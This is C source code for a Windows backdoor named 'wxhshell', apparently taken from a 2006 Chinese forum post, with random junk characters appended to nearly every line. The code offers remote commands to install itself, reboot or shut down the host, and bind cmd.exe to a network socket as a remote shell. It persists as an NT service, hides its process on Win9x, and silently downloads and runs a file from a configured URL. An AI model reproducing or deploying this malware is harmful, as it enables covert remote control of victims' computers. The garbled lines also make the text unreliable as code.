  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !%c\N8<>GD  
  else %IWPM"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e(t\g^X  
  } %7+qnH*;r  
  else { u'BaKWPS  
+23x ev  
    switch(cmd[0]) { `[ir}+S  
  pW3^X=6  
  // 帮助 S<Xf>-8w  
  case '?': { $>LQ6|XRu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /7YIn3  
    break; $=4QO  
  } 9\7en%(M  
  // 安装 vdwsJPFbc  
  case 'i': { /j.9$H'y  
    if(Install()) jse&DQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gg2( 5FPP  
    else |yPu!pfl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nj/ x. X  
    break; F:S}w   
    } TM%%O :3  
  // 卸载 Y.p;1"  
  case 'r': { =rdV ]{Wc  
    if(Uninstall()) >XfbP]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0q&&9/Jj  
    else ;aVZ"~a+\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cw <l{A  
    break; nX8v+:&}  
    } jnwu9PQ  
  // 显示 wxhshell 所在路径 c7H^$_^=  
  case 'p': { u=e{]Ax#}  
    char svExeFile[MAX_PATH]; KMax$  
    strcpy(svExeFile,"\n\r"); ,I;> aE<#  
      strcat(svExeFile,ExeFile); O;3>sLgc  
        send(wsh,svExeFile,strlen(svExeFile),0); pd$[8Rmj_  
    break; "\yT7?},  
    } 6_B]MN!(  
  // 重启 VUuE T  
  case 'b': { 8 L Cb+^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #GFr`o0$^  
    if(Boot(REBOOT)) CAf6:^0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) )Za&S*<  
    else { (/$^uWj  
    closesocket(wsh); +lTq^4  
    ExitThread(0); 1|:KQl2q  
    } 0=$T\(0g  
    break; *0ro0Z|Iq  
    } uXiN~j &Be  
  // 关机 k;Y5BB  
  case 'd': { `WS&rmq&'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B33\?Yj)  
    if(Boot(SHUTDOWN)) -Lg Ei3m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l U]nd[x  
    else { @ N m@]q  
    closesocket(wsh); # f\rt   
    ExitThread(0); EdX$(scu~B  
    } 5bb(/YtFy  
    break; NxILRKwO  
    } 1\.pMHv/  
  // 获取shell \b>] 8Un"  
  case 's': { 4^d?D!j  
    CmdShell(wsh); 5:?! =<=  
    closesocket(wsh); $:^td/p J  
    ExitThread(0); bI`g|v  
    break; !5N.B|N t  
  } \{YU wKK/A  
  // 退出 y B$x>Q'C(  
  case 'x': { {.]7!ISl5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u1.BN>G  
    CloseIt(wsh); K)P%;X  
    break; ji= "DYtL  
    } QsW/X0YBv  
  // 离开 wgA_38To  
  case 'q': { OZ&o:/*HM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]_$[8#kg  
    closesocket(wsh); mp3s-YfRc  
    WSACleanup(); & nK<:^n  
    exit(1); yDh6KUK  
    break; -n;}n:w L  
        } ss-D(K"  
  } w2J<WC+_<  
  } Bbp|!+KP{(  
f *)Z)6E  
  // 提示信息  =BrRYA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @o.I;}*N  
} wKHBAW[i]  
  } A%-6`>  
% u6Sr5A[s  
  return; 'B}qZCy W  
} FgO)DQm  
?X;RLpEc|A  
// shell模块句柄 y+;|Fz  
int CmdShell(SOCKET sock) I}Q2Vu<  
{ XfmwVjy  
STARTUPINFO si; DTs;{c  
ZeroMemory(&si,sizeof(si)); c`Wa^(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [Nq*BrzF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |cY`x(?yP  
PROCESS_INFORMATION ProcessInfo; xezcAwW  
char cmdline[]="cmd"; et+0FF ,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wNX]7wMX  
  return 0; |K~Nw&rZ]  
} mV m Gg,  
xLn%hxm?,  
// 自身启动模式 YbLW/E\T  
int StartFromService(void) zMJT:7*`|  
{ 4.(4x&  
typedef struct BORA(,  
{ < 7$1kGlA  
  DWORD ExitStatus; t:c.LFrF  
  DWORD PebBaseAddress; O9p|a%o  
  DWORD AffinityMask; L8n|m!MOD  
  DWORD BasePriority; P>6{&(  
  ULONG UniqueProcessId; $]8Q(/mbK  
  ULONG InheritedFromUniqueProcessId; FgI3   
}   PROCESS_BASIC_INFORMATION; IM+ o.@f-  
(I}v[W  
PROCNTQSIP NtQueryInformationProcess; O1kl70,`R  
(9h`3#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cGD(.=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q,6DEz  
$7uA%|\  
  HANDLE             hProcess; {_dvx*M  
  PROCESS_BASIC_INFORMATION pbi; xwty<?dRW1  
QdC<Sk!G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $mB;K]m  
  if(NULL == hInst ) return 0; ]9,; K;1<  
hpJ-r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &"q=5e2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]+$?u&0?w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fxIf|9Qi`  
*\q d  
  if (!NtQueryInformationProcess) return 0; c0fo7|  
m#F`] {  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ],v=]+R  
  if(!hProcess) return 0; VD\=`r)nT  
4H<lm*!^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YgoBHE0#  
a@*\o+Su  
  CloseHandle(hProcess); "g#i'"qnW  
YrKWA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E+JqWR5  
if(hProcess==NULL) return 0; Z(!\% mn  
&! ?eL  
HMODULE hMod; *WT`o>  
char procName[255]; 1sH& sGy7  
unsigned long cbNeeded; = 9]~ yt  
6K<K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eGHaY4|  
O8.5}>gDn.  
  CloseHandle(hProcess); ,4oo=&  
?K\axf>F  
if(strstr(procName,"services")) return 1; // 以服务启动 _ORvo{[:  
?S$P9^ii'  
  return 0; // 注册表启动 "FKOaQ%IH  
} {Dmjm{   
uR r o?m<  
// 主模块 3Ims6I]  
int StartWxhshell(LPSTR lpCmdLine) 8*T=Xei8  
{ d<N:[Y\4l  
  SOCKET wsl; h2""9aP !  
BOOL val=TRUE; e@OX_t_  
  int port=0; (*)hD(C5  
  struct sockaddr_in door; *=7U4W  
{,~3.5u   
  if(wscfg.ws_autoins) Install(); H DFOA  
[1 9,&]z  
port=atoi(lpCmdLine); .h4 \Y A  
)TH@# 1  
if(port<=0) port=wscfg.ws_port; 5N&?KA-  
xX4N4vb  
  WSADATA data; 7VFLJr t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hFl^\$Re  
ITT@,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n#OB%@]<V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %Qdn  
  door.sin_family = AF_INET; Ak"m 85B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8eHyL  
  door.sin_port = htons(port); }@+:\   
W]5w \  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7Da`   
closesocket(wsl); o$lM$E:  
return 1; *6DB0X_-}  
} tHwMX1 IG  
P! #[mio  
  if(listen(wsl,2) == INVALID_SOCKET) { 9e,0\J  
closesocket(wsl); &AbNWtCV+G  
return 1; W+ko q*P  
} J,y[[CdH`  
  Wxhshell(wsl); l#Y,R 0  
  WSACleanup(); ~g ZLY ls  
k5.Lna  
return 0;  DwE[D]7o  
[;) ,\\u,d  
} !\.pq  2  
RO/FF<f  
// 以NT服务方式启动 wHMX=N1/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zL`iK"N`  
{ MXNFlP  
DWORD   status = 0; qm8B8&-  
  DWORD   specificError = 0xfffffff; Fgh_9S9J  
\B,@`dw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .jT#:_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]tRu2Ygf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jgd'1'FOs  
  serviceStatus.dwWin32ExitCode     = 0; :hk5 .[  
  serviceStatus.dwServiceSpecificExitCode = 0; 9} M?P  
  serviceStatus.dwCheckPoint       = 0; .Una+Z  
  serviceStatus.dwWaitHint       = 0; NzOx0WLF  
W^LY'ypT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,,Q O^j]4~  
  if (hServiceStatusHandle==0) return; f=gW]x7'R+  
J({Xg?  
status = GetLastError(); ca*DZG/  
  if (status!=NO_ERROR) >T3-  
{ x '>9d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]e>w }L(gV  
    serviceStatus.dwCheckPoint       = 0; }1i`6`y1  
    serviceStatus.dwWaitHint       = 0; 4,gK[ dc  
    serviceStatus.dwWin32ExitCode     = status; ][h%UrV  
    serviceStatus.dwServiceSpecificExitCode = specificError; (WO]Xq<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /saIs%(fU  
    return; f:|1_j  
  } tla 5B_  
cyv`B3}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YPK(be_|I  
  serviceStatus.dwCheckPoint       = 0; A_ N;   
  serviceStatus.dwWaitHint       = 0; ?; +1)>{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +LZLy9iKt  
} z] P SpUd  
Yi+wC}   
// 处理NT服务事件,比如:启动、停止 BsqP?/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \lf;P?M^  
{ Ou!2 [oe@M  
switch(fdwControl) (%e .:W${  
{ D4-ifsP  
case SERVICE_CONTROL_STOP: ag#S6E^%S  
  serviceStatus.dwWin32ExitCode = 0; +wvWwie  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )c83/= <v  
  serviceStatus.dwCheckPoint   = 0; %.Fi4}+O  
  serviceStatus.dwWaitHint     = 0; >WQMqQ^t@  
  { (*nT(Adk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EZy)A$|  
  } !&ayYu##{  
  return; ?{|q5n  
case SERVICE_CONTROL_PAUSE: RO VW s/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; % X+:o]T  
  break; X!Mx5fg  
case SERVICE_CONTROL_CONTINUE: J^nBdofP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DV+xg3\(>1  
  break; V2?=4mb  
case SERVICE_CONTROL_INTERROGATE: ^aMg/.j  
  break; djQH1^ (IU  
}; S)k*?dQ##R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {M$1N5Eh  
} oMD>Yw c-  
nntuLuW  
// 标准应用程序主函数 ?(y*nD[a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HU }7zK2  
{ 1onM j  
i]y<|W)Q3  
// 获取操作系统版本 +p_CN*10H  
OsIsNt=GetOsVer(); \H~T>j{N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wd^':  
a %'the  
  // 从命令行安装 )uIe&B  
  if(strpbrk(lpCmdLine,"iI")) Install(); *@r/5pM2}  
Ar|0b}=)>  
  // 下载执行文件 M~#gRAUJ  
if(wscfg.ws_downexe) { e7r -R3_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nFg~< $d  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ae^~Cz1qz  
} } FlT%>Gw  
du lI&_x  
if(!OsIsNt) { @* jz o  
// 如果时win9x,隐藏进程并且设置为注册表启动 Uq,^Wy  
HideProc(); 5 +YH.4R  
StartWxhshell(lpCmdLine); B6nX$T4zP  
} {G0T$,'DR  
else qIE9$7*X  
  if(StartFromService()) 9:[  9v  
  // 以服务方式启动 '8. r-`l(  
  StartServiceCtrlDispatcher(DispatchTable); `?qF$g9u~  
else mh{d8<Q2  
  // 普通方式启动 4*#18<u5  
  StartWxhshell(lpCmdLine); :WS@=sZN  
m6K}|j  
return 0; L>&t|T2  
}
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只看该作者 1 发表于: 2006-10-10
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